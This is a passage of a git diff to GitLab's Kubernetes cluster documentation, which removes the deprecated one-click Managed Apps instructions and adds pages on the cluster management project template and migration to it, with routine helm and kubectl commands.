Application Firewall traffic by navigating to your project's -**Security & Compliance > Threat Monitoring** page. From there, you can see -tracked over time: - -- The total amount of traffic to your application. -- The proportion of traffic that's considered anomalous by the Web Application - Firewall's default [OWASP ruleset](https://coreruleset.org/). - -If a significant percentage of traffic is anomalous, investigate it for potential threats -by [examining the Web Application Firewall logs](#web-application-firewall-modsecurity). - - - -### JupyterHub - -> - Introduced in GitLab 11.0 for project-level clusters. -> - Introduced in GitLab 12.3 for group and instance-level clusters. - -[JupyterHub](https://jupyterhub.readthedocs.io/en/stable/) is a multi-user service -for managing notebooks across a team. [Jupyter Notebooks](https://jupyter-notebook.readthedocs.io/en/latest/) -provide a web-based interactive programming environment used for data analysis, -visualization, and machine learning. - -The [`jupyter/jupyterhub`](https://jupyterhub.github.io/helm-chart/) -chart is used to install this application with a -[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/jupyter/values.yaml) -file. - -Authentication is enabled only for [project members](../project/members/index.md) -for project-level clusters and group members for group-level clusters with -[Developer or higher](../permissions.md) access to the associated project or group. - -GitLab uses a [custom Jupyter image](https://gitlab.com/gitlab-org/jupyterhub-user-image/blob/master/Dockerfile) -that installs additional relevant packages on top of the base Jupyter. Ready-to-use -DevOps Runbooks built with Nurtch's [Rubix library](https://github.com/Nurtch/rubix) -are also available. +## Install with one click (REMOVED) -More information on creating executable runbooks can be found in -[our Runbooks documentation](../project/clusters/runbooks/index.md#configure-an-executable-runbook-with-gitlab). -Ingress must be installed and have an IP address assigned before -JupyterHub can be installed. +> [Removed](https://gitlab.com/groups/gitlab-org/-/epics/4280) in GitLab 14.0. -#### Jupyter Git Integration +The one-click installation method was deprecated in GitLab 13.9 and removed in [GitLab 14.0](https://gitlab.com/groups/gitlab-org/-/epics/4280). +The removal does not break nor uninstall any apps you have installed, it only +removes the "Applications" tab from the cluster page. +The new recommended way to manage cluster applications is to use the [cluster management project template](management_project_template.md). -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/28783) in GitLab 12.0 for project-level clusters. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/32512) in GitLab 12.3 for group and instance-level clusters. +- If you want to migrate your GitLab managed apps management to this template, read + [migrating from GitLab managed apps to project template](migrating_from_gma_to_project_template.md). +- If you don't want to use the template, you can also manually manage your applications. + For that, follow the process to + [take ownership of your GitLab Managed Apps](#take-ownership-of-your-gitlab-managed-apps). -When installing JupyterHub onto your Kubernetes cluster, -[JupyterLab's Git extension](https://github.com/jupyterlab/jupyterlab-git) -is provisioned and configured using the authenticated user's: +If you are not yet on GitLab 14.0 or later, you can refer to [an older version of this document](https://docs.gitlab.com/13.12/ee/user/clusters/applications.html#install-with-one-click-deprecated). -- Name. -- Email. -- Newly created access token. - -JupyterLab's Git extension enables full version control of your notebooks, and -issuance of Git commands in Jupyter. You can issue Git commands through the -**Git** tab on the left panel, or through Jupyter's command-line prompt. - -JupyterLab's Git extension stores the user token in the JupyterHub DB in encrypted -format, and in the single user Jupyter instance as plain text, because -[Git requires storing credentials as plain text](https://git-scm.com/docs/git-credential-store) -Potentially, if a nefarious user finds a way to read from the file system in the -single-user Jupyter instance, they could retrieve the token. - - - -You can clone repositories from the files tab in Jupyter: - - - -### Knative - -> - Introduced in GitLab 11.5 for project-level clusters. -> - Introduced in GitLab 12.3 for group- and instance-level clusters. - -[Knative](https://cloud.google.com/knative/) provides a platform to -create, deploy, and manage serverless workloads from a Kubernetes -cluster. It's used in conjunction with, and includes -[Istio](https://istio.io) to provide an external IP address for all -programs hosted by Knative. - -The [`knative/knative`](https://storage.googleapis.com/triggermesh-charts) -chart is used to install this application. - -During installation, you must enter a wildcard domain where your applications -are exposed. Configure your DNS server to use the external IP address for that -domain. Applications created and installed are accessible as -`<program_name>.<kubernetes_namespace>.<domain_name>`, which requires -your Kubernetes cluster to have -[RBAC enabled](../project/clusters/add_remove_clusters.md#rbac-cluster-resources). - -### Prometheus - -> - Introduced in GitLab 10.4 for project-level clusters. -> - Introduced in GitLab 11.11 for group-level clusters. - -[Prometheus](https://prometheus.io/docs/introduction/overview/) is an -open-source monitoring and alerting system you can use to supervise your -deployed applications. - -GitLab is able to monitor applications by using the -[Prometheus integration](../project/integrations/prometheus.md). Kubernetes container CPU and -memory metrics are collected, and response metrics are also retrieved -from NGINX Ingress. - -The [`stable/prometheus`](https://github.com/helm/charts/tree/master/stable/prometheus) -chart is used to install this application with a -[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/prometheus/values.yaml) -file. - -To enable monitoring, install Prometheus into the cluster with the **Install** -button. - -### Crossplane - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34702) in GitLab 12.5 for project-level clusters. - -[Crossplane](https://crossplane.github.io/docs/v0.9/) is a multi-cloud control plane -to help you manage applications and infrastructure across multiple clouds. It extends the -Kubernetes API using: - -- Custom resources. -- Controllers that watch those custom resources. - -Crossplane allows provisioning and lifecycle management of infrastructure components -across cloud providers in a uniform manner by abstracting cloud provider-specific -configurations. - -The Crossplane GitLab-managed application: - -- Installs Crossplane with a provider of choice on a Kubernetes cluster attached to the - project repository. -- Can then be used to provision infrastructure or managed applications such as - PostgreSQL (for example, CloudSQL from GCP or RDS from AWS) and other services - required by the application with the Auto DevOps pipeline. - -[`alpha/crossplane`](https://github.com/crossplane/crossplane/tree/v0.4.1/cluster/charts/crossplane) chart v0.4.1 is used to -install Crossplane using the -[`values.yaml`](https://github.com/crossplane/crossplane/blob/master/cluster/charts/crossplane/values.yaml.tmpl) -file. - -For information about configuring Crossplane installed on the cluster, see -[Crossplane configuration](crossplane.md). - -### Elastic Stack - -> Introduced in GitLab 12.7 for project- and group-level clusters. - -[Elastic Stack](https://www.elastic.co/elastic-stack) is a complete end-to-end -log analysis solution which helps in deep searching, analyzing and visualizing the logs -generated from different machines. - -GitLab can gather logs from pods in your cluster. Filebeat runs as a DaemonSet -on each node in your cluster, and ships container logs to Elasticsearch for -querying. GitLab then connects to Elasticsearch for logs, instead of the -Kubernetes API, giving you access to more advanced querying capabilities. Log -data is deleted after 30 days, using [Curator](https://www.elastic.co/guide/en/elasticsearch/client/curator/5.5/about.html). - -The Elastic Stack cluster application is intended as a log aggregation solution -and is not related to our [Advanced Search](../search/advanced_search.md) -functionality, which uses a separate Elasticsearch cluster. - -To enable log shipping: - -1. Ensure your cluster contains at least three nodes of instance types larger - than `f1-micro`, `g1-small`, or `n1-standard-1`. -1. Navigate to **Operations > Kubernetes**. -1. In **Kubernetes Cluster**, select a cluster. -1. In the **Applications** section, find **Elastic Stack**, and then select - **Install**. - -The [`gitlab/elastic-stack`](https://gitlab.com/gitlab-org/charts/elastic-stack) -chart is used to install this application with a -[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/elastic_stack/values.yaml) -file. The chart deploys three identical Elasticsearch pods which can't be -colocated, and each requires one CPU and 2 GB of RAM, making them -incompatible with clusters containing fewer than three nodes, or consisting of -`f1-micro`, `g1-small`, `n1-standard-1`, or `*-highcpu-2` instance types. - -#### Optional: deploy Kibana to perform advanced queries - -If you are an advanced user and have direct access to your Kubernetes cluster -using `kubectl` and `helm`, you can deploy Kibana manually. The following assumes -that `helm` has been [initialized](https://v2.helm.sh/docs/helm/) with `helm init`. - -Save the following to `kibana.yml`: - -```yaml -elasticsearch: - enabled: false - -filebeat: - enabled: false - -kibana: - enabled: true - elasticsearchHosts: http://elastic-stack-elasticsearch-master.gitlab-managed-apps.svc.cluster.local:9200 -``` - -Then install it on your cluster: - -```shell -helm repo add gitlab https://charts.gitlab.io -helm install --name kibana gitlab/elastic-stack --values kibana.yml -``` - -To access Kibana, forward the port to your local machine: - -```shell -kubectl port-forward svc/kibana-kibana 5601:5601 -``` - -Then, you can visit Kibana at `http://localhost:5601`. - -### Fluentd - -> Introduced in GitLab 12.10 for project- and group-level clusters. - -[Fluentd](https://www.fluentd.org/) is an open source data collector, which enables -you to unify the data collection and consumption to better use and understand -your data. Fluentd sends logs in syslog format. - -To enable Fluentd: - -1. Navigate to **Operations > Kubernetes** and click - **Applications**. Enter a host, port, and protocol - for sending the WAF logs with syslog. -1. Provide the host domain name or URL in **SIEM Hostname**. -1. Provide the host port number in **SIEM Port**. -1. Select a **SIEM Protocol**. -1. Select at least one of the available logs (such as WAF or Cilium). -1. Click **Save changes**. - - - -## Upgrading applications - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/24789) in GitLab 11.8. - -The applications below can be upgraded. - -| Application | GitLab version | -| ----------- | -------------- | -| GitLab Runner | 11.8+ | - -To upgrade an application: - -1. For a: - - [Project-level cluster](../project/clusters/index.md), - navigate to your project's **Operations > Kubernetes**. - - [Group-level cluster](../group/clusters/index.md), - navigate to your group's **Kubernetes** page. -1. Select your cluster. -1. If an upgrade is available, the **Upgrade** button is displayed. Click the button to upgrade. - -Upgrades reset values back to the values built into the `runner` chart, plus the values set by -[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/runner/values.yaml) - -## Uninstalling applications - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/60665) in GitLab 11.11. - -The applications below can be uninstalled. - -| Application | GitLab version | Notes | -| ----------- | -------------- | ----- | -| cert-manager | 12.2+ | The associated private key is deleted and cannot be restored. Deployed applications continue to use HTTPS, but certificates aren't renewed. Before uninstalling, you may want to [back up your configuration](https://cert-manager.io/docs/tutorials/backup/) or [revoke your certificates](https://letsencrypt.org/docs/revoking/). | -| GitLab Runner | 12.2+ | Any running pipelines are canceled. | -| Helm | 12.2+ | The associated Tiller pod, the `gitlab-managed-apps` namespace, and all of its resources are deleted and cannot be restored. | -| Ingress | 12.1+ | The associated load balancer and IP are deleted and cannot be restored. Furthermore, it can only be uninstalled if JupyterHub is not installed. | -| JupyterHub | 12.1+ | All data not committed to GitLab are deleted and cannot be restored. | -| Knative | 12.1+ | The associated IP are deleted and cannot be restored. | -| Prometheus | 11.11+ | All data are deleted and cannot be restored. | -| Crossplane | 12.5+ | All data are deleted and cannot be restored. | -| Elastic Stack | 12.7+ | All data are deleted and cannot be restored. | -| Sentry | 12.6+ | The PostgreSQL persistent volume remains and should be manually removed for complete uninstall. | - -To uninstall an application: - -1. For a: - - [Project-level cluster](../project/clusters/index.md), - navigate to your project's **Operations > Kubernetes**. - - [Group-level cluster](../group/clusters/index.md), - navigate to your group's **Kubernetes** page. -1. Select your cluster. -1. Click the **Uninstall** button for the application. - -Support for uninstalling all applications is planned for progressive rollout. -To follow progress, see the [relevant epic](https://gitlab.com/groups/gitlab-org/-/epics/1201). - -## Troubleshooting applications - -Applications can fail with the following error: - -```plaintext -Error: remote error: tls: bad certificate -``` - -To avoid installation errors: - -- Before starting the installation of applications, make sure that time is synchronized - between your GitLab server and your Kubernetes cluster. -- Ensure certificates are not out of sync. When installing applications, GitLab - expects a new cluster with no previous installation of Helm. - - You can confirm that the certificates match by using `kubectl`: - - ```shell - kubectl get configmaps/values-content-configuration-ingress -n gitlab-managed-apps -o \ - "jsonpath={.data['cert\.pem']}" | base64 -d > a.pem - kubectl get secrets/tiller-secret -n gitlab-managed-apps -o "jsonpath={.data['ca\.crt']}" | base64 -d > b.pem - diff a.pem b.pem - ``` - -### Error installing managed apps on EKS cluster - -If you're using a managed cluster on AWS EKS, and you are not able to install some of the managed -apps, consider checking the logs. - -You can check the logs by running the following commands: - -```shell -kubectl get pods --all-namespaces -kubectl get services --all-namespaces -``` - -If you are getting the `Failed to assign an IP address to container` error, it's probably due to the -instance type you've specified in the AWS configuration. -The number and size of nodes might not have enough IP addresses to run or install those pods. - -For reference, all the AWS instance IP limits are found -[in this AWS repository on GitHub](https://github.com/aws/amazon-vpc-cni-k8s/blob/master/pkg/awsutils/vpc_ip_resource_limit.go) (search for `InstanceENIsAvailable`). - -### Unable to install Prometheus - -Installing Prometheus is failing with the following error: - -```shell -# kubectl -n gitlab-managed-apps logs install-prometheus -... -Error: Could not get apiVersions from Kubernetes: unable to retrieve the complete list of server APIs: admission.certmanager.k8s.io/v1beta1: the server is currently unable to handle the request -``` - -This is a bug that was introduced in Helm `2.15` and fixed in `3.0.2`. As a workaround, -ensure [`cert-manager`](#cert-manager) is installed successfully prior to installing Prometheus. - -### Unable to create a Persistent Volume Claim with DigitalOcean - -Trying to create additional block storage volumes might lead to the following error when using DigitalOcean: +## Browse applications logs -```plaintext -Server requested -[Warning] pod has unbound immediate PersistentVolumeClaims (repeated 2 times) -[Normal] pod didn't trigger scale-up (it wouldn't fit if a new node is added): -Spawn failed: Timeout -``` +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36769) in GitLab 13.2. -This is due to DigitalOcean imposing a few limits with regards to creating additional block storage volumes. -[Learn more about DigitalOcean Block Storage Volumes limits.](https://www.digitalocean.com/docs/volumes/#limits) +Logs produced by pods running **GitLab Managed Apps** can be browsed using +[**Log Explorer**](../project/clusters/kubernetes_pod_logs.md). ## Take ownership of your GitLab Managed Apps > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/327803) in GitLab 13.12. -With the removal of the [One-click install method](#install-with-one-click-deprecated) in GitLab 14.0, -the **Applications** tab (under your project's **Operations > Kubernetes**) -will no longer be displayed: +With the removal of the One-click install method in GitLab 14.0, +the **Applications** tab (under your project's **Infrastructure > Kubernetes clusters**) +is no longer displayed:  @@ -1781,10 +1126,10 @@ If you choose to keep using Helm v2 (B), follow the steps below to manage your a ### Cluster integrations -Some applications were not only installed in your cluster by GitLab through Managed Apps but were also -directly integrated with GitLab so that you could benefit from seeing, controlling, or getting notified -about them through GitLab. -To keep them integrated, read the documentation for: +Some applications were not only installed in your cluster by GitLab through +Managed Apps but were also directly integrated with GitLab. If you had one of +these applications installed before GitLab 14.0, then a corresponding [cluster +integration](integrations.md) has been automatically enabled: - [Prometheus cluster integration](integrations.md#prometheus-cluster-integration) - [Elastic Stack cluster integration](integrations.md#elastic-stack-cluster-integration) diff --git a/doc/user/clusters/cost_management.md b/doc/user/clusters/cost_management.md index d1df5642514..26611c26e5e 100644 --- a/doc/user/clusters/cost_management.md +++ b/doc/user/clusters/cost_management.md @@ -33,9 +33,9 @@ permissions in a project or group. 1. Connect GitLab with Prometheus, depending on your configuration: - *If Prometheus is already configured,* navigate to **Settings > Integrations > Prometheus** to provide the API endpoint of your Prometheus server. - - *For GitLab-managed Prometheus,* navigate to your cluster's **Details** page, - select the **Applications** tab, and install Prometheus. The integration is - auto-configured for you. + - *To use the Prometheus cluster integration,* navigate to your cluster's **Details** page, + select the **Integrations** tab, and follow the instructions to enable the Prometheus + cluster integration. 1. Set up the Prometheus integration on the cloned example project. 1. Add the Kubecost `cost-model` to your cluster: - *For non-managed clusters*, deploy it with GitLab CI/CD. @@ -46,7 +46,7 @@ permissions in a project or group. kubectl apply -f kubernetes/ --namespace cost-model ``` -To access the cost insights, navigate to **Operations > Metrics** and select +To access the cost insights, navigate to **Monitor > Metrics** and select the `default_costs.yml` dashboard. You can [customize](#customize-the-cost-dashboard) this dashboard. diff --git a/doc/user/clusters/crossplane.md b/doc/user/clusters/crossplane.md index bdf9d582b93..8906d1224b1 100644 --- a/doc/user/clusters/crossplane.md +++ b/doc/user/clusters/crossplane.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Crossplane configuration **(FREE)** -After [installing](applications.md#crossplane) Crossplane, you must configure it for use. +After [installing](applications.md#install-crossplane-using-gitlab-cicd) Crossplane, you must configure it for use. The process of configuring Crossplane includes: 1. [Configure RBAC permissions](#configure-rbac-permissions). diff --git a/doc/user/clusters/img/fluentd_v13_0.png b/doc/user/clusters/img/fluentd_v13_0.png Binary files differdeleted file mode 100644 index edc73285238..00000000000 --- a/doc/user/clusters/img/fluentd_v13_0.png +++ /dev/null diff --git a/doc/user/clusters/integrations.md b/doc/user/clusters/integrations.md index a8b181f8726..6c87efaf5a3 100644 --- a/doc/user/clusters/integrations.md +++ b/doc/user/clusters/integrations.md @@ -14,6 +14,17 @@ To enable cluster integrations, first add a Kubernetes cluster to a GitLab [group](../group/clusters/index.md#group-level-kubernetes-clusters) or [instance](../instance/clusters/index.md). +You can install your applications manually as shown in the following sections, or use the +[Cluster management project template](management_project_template.md) that automates the +installation. + +Although, the [Cluster management project template](management_project_template.md) still +requires that you manually do the last steps of these sections, +[Enable Prometheus integration for your cluster](#enable-prometheus-integration-for-your-cluster) +or [Enable Elastic Stack integration for your cluster](#enable-elastic-stack-integration-for-your-cluster) +depending on which application you are installing. We plan to also automate this step in the future, +see the [opened issue](https://gitlab.com/gitlab-org/gitlab/-/issues/326565). + ## Prometheus cluster integration > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55244) in GitLab 13.11. @@ -43,10 +54,8 @@ it up using [Helm](https://helm.sh/) as follows: kubectl create ns gitlab-managed-apps # Download Helm chart values that is compatible with the requirements above. -# You should substitute the tag that corresponds to the GitLab version in the URL -# - https://gitlab.com/gitlab-org/gitlab/-/raw/<tag>/vendor/prometheus/values.yaml -# -wget https://gitlab.com/gitlab-org/gitlab/-/raw/v13.9.0-ee/vendor/prometheus/values.yaml +# These are included in the Cluster Management project template. +wget https://gitlab.com/gitlab-org/project-templates/cluster-management/-/raw/master/applications/prometheus/values.yaml # Add the Prometheus community Helm chart repository helm repo add prometheus-community https://prometheus-community.github.io/helm-charts @@ -64,7 +73,7 @@ To enable the Prometheus integration for your cluster: 1. Go to the cluster's page: - For a [project-level cluster](../project/clusters/index.md), navigate to your project's - **Operations > Kubernetes**. + **Infrastructure > Kubernetes clusters**. - For a [group-level cluster](../group/clusters/index.md), navigate to your group's **Kubernetes** page. - For an [instance-level cluster](../instance/clusters/index.md), navigate to your instance's @@ -103,10 +112,8 @@ running: kubectl create namespace gitlab-managed-apps # Download Helm chart values that is compatible with the requirements above. -# You should substitute the tag that corresponds to the GitLab version in the URL -# - https://gitlab.com/gitlab-org/gitlab/-/raw/<tag>/vendor/elastic_stack/values.yaml -# -wget https://gitlab.com/gitlab-org/gitlab/-/raw/v13.9.0-ee/vendor/elastic_stack/values.yaml +# These are included in the Cluster Management project template. +wget https://gitlab.com/gitlab-org/project-templates/cluster-management/-/raw/master/applications/elastic-stack/values.yaml # Add the GitLab Helm chart repository helm repo add gitlab https://charts.gitlab.io @@ -121,7 +128,7 @@ To enable the Elastic Stack integration for your cluster: 1. Go to the cluster's page: - For a [project-level cluster](../project/clusters/index.md), navigate to your project's - **Operations > Kubernetes**. + **Infrastructure > Kubernetes clusters**. - For a [group-level cluster](../group/clusters/index.md), navigate to your group's **Kubernetes** page. - For an [instance-level cluster](../instance/clusters/index.md), navigate to your instance's diff --git a/doc/user/clusters/management_project.md b/doc/user/clusters/management_project.md index e728577e194..f741ab2d95a 100644 --- a/doc/user/clusters/management_project.md +++ b/doc/user/clusters/management_project.md @@ -6,10 +6,6 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Cluster management project **(FREE)** -WARNING: -This is an _alpha_ feature, and it is subject to change at any time without -prior notice. - > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32810) in GitLab 12.5 A project can be designated as the management project for a cluster. @@ -20,7 +16,7 @@ privileges. This can be useful for: -- Creating pipelines to install cluster-wide applications into your cluster, see [Install using GitLab CI/CD (beta)](applications.md#install-using-gitlab-cicd-deprecated) for details. +- Creating pipelines to install cluster-wide applications into your cluster, see [management project template](management_project_template.md) for details. - Any jobs that require `cluster-admin` privileges. ## Permissions @@ -50,7 +46,7 @@ To select a cluster management project to use: 1. Navigate to the appropriate configuration page. For a: - [Project-level cluster](../project/clusters/index.md), navigate to your project's - **Operations > Kubernetes** page. + **Infrastructure > Kubernetes clusters** page. - [Group-level cluster](../group/clusters/index.md), navigate to your group's **Kubernetes** page. - [Instance-level cluster](../instance/clusters/index.md), navigate to Admin Area's **Kubernetes** diff --git a/doc/user/clusters/management_project_template.md b/doc/user/clusters/management_project_template.md new file mode 100644 index 00000000000..52390cb18b0 --- /dev/null +++ b/doc/user/clusters/management_project_template.md @@ -0,0 +1,86 @@ +--- +stage: Configure +group: Configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Cluster Management Project Template **(FREE)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25318) in GitLab 12.10 with Helmfile support via Helm v2. +> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63577) in GitLab 14.0 with Helmfile support via Helm v3 instead, and a much more flexible usage of Helmfile. This introduces breaking changes that are detailed below. + +This [GitLab built-in project template](../project/working_with_projects.md#built-in-templates) +provides a quicker start for users interested in managing cluster +applications via [Helm v3](https://helm.sh/) charts. More specifically, taking advantage of the +[Helmfile](https://github.com/roboll/helmfile) utility client. The template consists of some pre-configured apps that +should help you get started quickly using various GitLab features. Still, you have all the flexibility to remove the ones you do not +need, or even add new ones that are not built-in. + +## How to use this template + +1. Create a new project, choosing "GitLab Cluster Management" from the list of [built-in project templates](../project/working_with_projects.md#built-in-templates). +1. Make this project a [cluster management project](management_project.md). +1. If you used the [GitLab Managed Apps](applications.md), refer to + [Migrating from GitLab Manged Apps](migrating_from_gma_to_project_template.md). + +### Components + +In the repository of the newly-created project, you will find: + +- A predefined [`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/project-templates/cluster-management/-/blob/master/.gitlab-ci.yml) + file, with a CI pipeline already configured. +- A main [`helmfile.yaml`](https://gitlab.com/gitlab-org/project-templates/cluster-management/-/blob/master/helmfile.yaml) to toggle which applications you would like to manage. +- An `applications` directory with a `helmfile.yaml` configured for each application GitLab provides. + +#### The `.gitlab-ci.yml` file + +The base image used in your pipeline is built by the [cluster-applications](https://gitlab.com/gitlab-org/cluster-integration/cluster-applications) +project. This image consists of a set of Bash utility scripts to support [Helm v3 releases](https://helm.sh/docs/intro/using_helm/#three-big-concepts): + +- `gl-fail-if-helm2-releases-exist {namespace}`: It tries to detect whether you have apps deployed through Helm v2 + releases for a given namespace. If so, it will fail the pipeline and ask you to manually + [migrate your Helm v2 releases to Helm v3](https://helm.sh/docs/topics/v2_v3_migration/). +- `gl-ensure-namespace {namespace}`: It creates the given namespace if it does not exist and adds the necessary label + for the [Cilium](https://github.com/cilium/cilium/) app network policies to work. +- `gl-adopt-resource-with-helm-v3 {arguments}`: Used only internally in the [cert-manager's](https://cert-manager.io/) Helmfile to + facilitate the GitLab Managed Apps adoption. +- `gl-adopt-crds-with-helm-v3 {arguments}`: Used only internally in the [cert-manager's](https://cert-manager.io/) Helmfile to + facilitate the GitLab Managed Apps adoption. +- `gl-helmfile {arguments}`: A thin wrapper that triggers the [Helmfile](https://github.com/roboll/helmfile) command. + +#### The main `helmfile.yml` file + +This file has a list of paths to other Helmfiles for each app. They're all commented out by default, so you must uncomment +the paths for the apps that you would like to manage. + +By default, each `helmfile.yaml` in these sub-paths will have the attribute `installed: true`, which signifies that everytime +the pipeline runs, Helmfile will try to either install or update your apps according to the current state of your +cluster and Helm releases. If you change this attribute to `installed: false`, Helmfile will try to uninstall this app +from your cluster. [Read more](https://github.com/roboll/helmfile) about how Helmfile works. + +Furthermore, each app has an `applications/{app}/values.yaml` file. This is the +place where you can define some default values for your app's Helm chart. Some apps will already have defaults +pre-defined by GitLab. + +#### Built-in applications + +The built-in applications are intended to provide an easy way to get started with various Kubernetes oriented GitLab features. + +The [built-in supported applications](https://gitlab.com/gitlab-org/project-templates/cluster-management/-/tree/master/applications) are: + +- Apparmor +- Cert-manager +- Cilium +- Elastic Stack +- Falco +- Fluentd +- GitLab Runner +- Ingress +- Prometheus +- Sentry +- Vault + +### Migrating from GitLab Managed Apps + +If you had GitLab Managed Apps, either One-Click or CI/CD install, read the docs on how to +[migrate from GitLab Managed Apps to project template](migrating_from_gma_to_project_template.md) diff --git a/doc/user/clusters/migrating_from_gma_to_project_template.md b/doc/user/clusters/migrating_from_gma_to_project_template.md new file mode 100644 index 00000000000..7fa6ccea433 --- /dev/null +++ b/doc/user/clusters/migrating_from_gma_to_project_template.md @@ -0,0 +1,95 @@ +--- +stage: Configure +group: Configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Migrating from GitLab Managed Apps to a management project template + +The [GitLab Managed Apps](applications.md) are deprecated in GitLab 14.0. To migrate to the new way of managing them: + +1. Read how the [management project template](management_project_template.md) works, and + create a new project based on the "GitLab Cluster Management" template. +1. Create a new project as explained in the [management project template](management_project_template.md). +1. Detect apps deployed through Helm v2 releases by using the pre-configured [`.gitlab-ci.yml`](management_project_template.md#the-gitlab-ciyml-file) file: + - In case you had overwritten the default GitLab Managed Apps namespace, edit `.gitlab-ci.yml`, + and make sure the script is receiving the correct namespace as an argument: + + ```yaml + script: + - gl-fail-if-helm2-releases-exist <your_custom_namespace> + ``` + + - If you kept the default name (`gitlab-managed-apps`), then the script is already + set up. + + Either way, [run a pipeline manually](../../ci/pipelines/index.md#run-a-pipeline-manually) and read the logs of the + `detect-helm2-releases` job to know if you have any Helm v2 releases and which are they. + +1. If you have no Helm v2 releases, skip this step. Otherwise, follow the official Helm docs on + [how to migrate from Helm v2 to Helm v3](https://helm.sh/blog/migrate-from-helm-v2-to-helm-v3/), + and clean up the Helm v2 releases after you are confident that they have been successfully migrated. + +1. In this step you should already have only Helm v3 releases. + Uncomment from the main [`./helmfile.yaml`](management_project_template.md#the-main-helmfileyml-file) the paths for the + applications that you would like to manage with this project. Although you could uncomment all the ones you want to + managed at once, we recommend you repeat the following steps separately for each app, so you do not get lost during + the process. +1. Edit the associated `applications/{app}/helmfiles.yaml` to match the chart version currently deployed + for your app. Take a GitLab Runner Helm v3 release as an example: + + The following command lists the releases and their versions: + + ```shell + helm ls -n gitlab-managed-apps + + NAME NAMESPACE REVISION UPDATED STATUS CHART APP VERSION + runner gitlab-managed-apps 1 2021-06-09 19:36:55.739141644 +0000 UTC deployed gitlab-runner-0.28.0 13.11.0 + ``` + + Take the version from the `CHART` column which is in the format `{release}-v{chart_version}`, + then edit the `version:` attribute in the `./applications/gitlab-runner/helmfile.yaml`, so that it matches the version + you have currently deployed. This is a safe step to avoid upgrading versions during this migration. + Make sure you replace `gitlab-managed-apps` from the above command if you have your apps deployed to a different + namespace. + +1. Edit the `applications/{app}/values.yaml` associated with your app to match the currently + deployed values. For example, for GitLab Runner: + + 1. Copy the output of the following command (it might be big): + + ```shell + helm get values runner -n gitlab-managed-apps -a --output yaml + ``` + + 1. Overwrite `applications/gitlab-runner/values.yaml` with the output of the previous command. + + This safe step will guarantee that no unexpected default values overwrite your currently deployed values. + For instance, your GitLab Runner could have its `gitlabUrl` or `runnerRegistrationToken` overwritten by mistake. + +1. Some apps require special attention: + + - Ingress: Due to an existing [chart issue](https://github.com/helm/charts/pull/13646), you might see + `spec.clusterIP: Invalid value` when trying to run the [`./gl-helmfile`](management_project_template.md#the-gitlab-ciyml-file) + command. To work around this, after overwriting the release values in `applications/ingress/values.yaml`, + you might need to overwrite all the occurrences of `omitClusterIP: false`, setting it to `omitClusterIP: true`. + Another approach,could be to collect these IPs by running `kubectl get services -n gitlab-managed-apps` + and then overwriting each `ClusterIP` that it complains about with the value you got from that command. + + - Vault: This application introduces a breaking change from the chart we used in Helm v2 to the chart + used in Helm v3. So, the only way to integrate it with this Cluster Management Project is to actually uninstall this app and accept the + chart version proposed in `applications/vault/values.yaml`. + +1. After following all the previous steps, [run a pipeline manually](../../ci/pipelines/index.md#run-a-pipeline-manually) + and watch the `apply` job logs to see if any of your applications were successfully detected, installed, and whether they got any + unexpected updates. + + Some annotation checksums are expected to be updated, as well as this attribute: + + ```diff + --- heritage: Tiller + +++ heritage: Tiller + ``` + +After getting a successful pipeline, repeat these steps for any other deployed apps +you want to manage with the Cluster Management Project. diff --git a/doc/user/compliance/license_compliance/index.md b/doc/user/compliance/license_compliance/index.md index 43dbafb8f6f..f757a548aee 100644 --- a/doc/user/compliance/license_compliance/index.md +++ b/doc/user/compliance/license_compliance/index.md @@ -91,11 +91,11 @@ To run a License Compliance scanning job, you need GitLab Runner with the For GitLab 12.8 and later, to enable License Compliance, you must [include](../../../ci/yaml/README.md#includetemplate) the -[`License-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/License-Scanning.gitlab-ci.yml) +[`License-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/License-Scanning.gitlab-ci.yml) that's provided as a part of your GitLab installation. For older versions of GitLab from 11.9 to 12.7, you must [include](../../../ci/yaml/README.md#includetemplate) the -[`License-Management.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/License-Management.gitlab-ci.yml). +[`License-Management.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/d2cc841c55d65bc8134bfb3a467e66c36ac32b0a/lib/gitlab/ci/templates/Security/License-Management.gitlab-ci.yml). For GitLab versions earlier than 11.9, you can copy and use the job as defined that template. @@ -121,7 +121,7 @@ always take the latest License Compliance artifact available. Behind the scenes, [GitLab License Compliance Docker image](https://gitlab.com/gitlab-org/security-products/analyzers/license-finder) is used to detect the languages/frameworks and in turn analyzes the licenses. -The License Compliance settings can be changed through [CI/CD variables](#available-variables) by using the +The License Compliance settings can be changed through [CI/CD variables](#available-cicd-variables) by using the [`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`. ### When License Compliance runs @@ -129,7 +129,7 @@ The License Compliance settings can be changed through [CI/CD variables](#availa When using the GitLab 